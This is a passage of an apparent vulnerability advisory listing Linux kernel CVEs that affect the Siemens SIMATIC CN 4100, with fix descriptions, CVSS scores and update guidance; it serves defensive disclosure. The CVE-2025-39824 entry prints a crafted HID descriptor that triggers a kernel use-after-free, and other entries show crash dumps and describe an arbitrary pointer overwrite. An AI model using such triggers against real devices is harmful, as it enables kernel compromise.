class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing 